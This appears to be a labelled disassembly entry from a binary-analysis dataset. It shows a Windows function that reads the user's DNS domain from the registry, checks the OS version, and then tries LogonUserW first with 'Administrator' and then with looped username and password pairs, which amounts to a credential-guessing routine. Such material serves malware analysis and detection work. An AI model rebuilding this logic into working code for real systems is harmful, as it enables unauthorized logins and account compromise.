Function at 0x100268a0
Capabilities:
Impersonate user
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10079642
mov eax, dword fs:[0]
push eax
sub esp, 0x168
mov eax, dword [0x100bd024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov ecx, 0x100c3579
call fcn.10071035
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 1
push eax
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x18], 0x208
push eax
push str.USERDNSDOMAIN
push str.Volatile_Environment
push connect
call dword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
je 0x10026b54
push pe_nt_image_headers32
lea eax, [ebp - 0x16c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x170], 0x11c
lea ecx, [ebp - 0x170]
call fcn.100487b0
cmp dword [ebp - 0x16c], 6
jne 0x1002695c
cmp dword [ebp - 0x168], 2
jne 0x1002695c
cmp dword [ebp - 0x164], 0x20d0
jb 0x10026b4d
mov ecx, ebx
call fcn.100264d0
test al, al
je 0x10026b4d
push 0x1008e49c
lea ecx, [ebp - 0x3c]
call fcn.10004850
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x54]
push str.Administrator
call fcn.10004850
mov byte [ebp - 4], 1
lea edx, [ebp - 0x18]
cmp dword [ebp - 0x28], 8
lea ecx, [ebp - 0x3c]
push edx
cmovae ecx, dword [ebp - 0x3c]
lea eax, [ebp - 0x54]
cmp dword [ebp - 0x40], 8
push 0
cmovae eax, dword [ebp - 0x54]
push 2
push ecx
push 0
push eax
mov dword [ebp - 0x18], 0
call dword [sym.imp.ADVAPI32.dll_LogonUserW]
test eax, eax
je 0x100269d5
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x171], 1
jmp 0x100269dc
mov byte [ebp - 0x171], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x54]
call fcn.10004d00
mov byte [ebp - 4], 0
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x3c]
call fcn.10004d00
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x171], 0
je 0x10026a1c
mov eax, 2
jmp 0x10026b59
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 0xa
call fcn.10023ed0
lea ecx, [ebp - 0x24]
cmp ecx, eax
je 0x10026a60
push dword [ebp - 0x14]
push dword [eax + 4]
push dword [eax]
call fcn.100249a0
mov edi, dword [ebp - 0x24]
cmp edi, dword [ebp - 0x20]
je 0x10026b01
nop dword [eax]
push edi
lea ecx, [ebp - 0x54]
call fcn.1000da20
mov byte [ebp - 4], 0xb
mov esi, dword [ebx + 4]
cmp esi, dword [ebx + 8]
je 0x10026ae1
push esi
lea ecx, [ebp - 0x3c]
call fcn.1000da20
mov byte [ebp - 4], 0xc
lea edx, [ebp - 0x18]
cmp dword [ebp - 0x40], 8
lea ecx, [ebp - 0x54]
push edx
cmovae ecx, dword [ebp - 0x54]
lea eax, [ebp - 0x3c]
cmp dword [ebp - 0x28], 8
push 0
cmovae eax, dword [ebp - 0x3c]
push 2
push ecx
push 0
push eax
mov dword [ebp - 0x18], 0
call dword [sym.imp.ADVAPI32.dll_LogonUserW]
test eax, eax
jne 0x10026b19
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x3c]
call fcn.10004d00
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 0xb
add esi, 0x18
cmp esi, dword [ebx + 8]
jne 0x10026a85
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x54]
call fcn.10004d00
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 0xa
add edi, 0x18
cmp edi, dword [ebp - 0x20]
jne 0x10026a70
mov esi, 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24]
call fcn.1000dca0
mov eax, esi
jmp 0x10026b59
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x3c]
call fcn.10004d00
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x54]
call fcn.10004d00
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 0xa
mov esi, 2
jmp 0x10026b06
mov eax, 1
jmp 0x10026b59
mov eax, 3
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1006efdc
mov esp, ebp
pop ebp
ret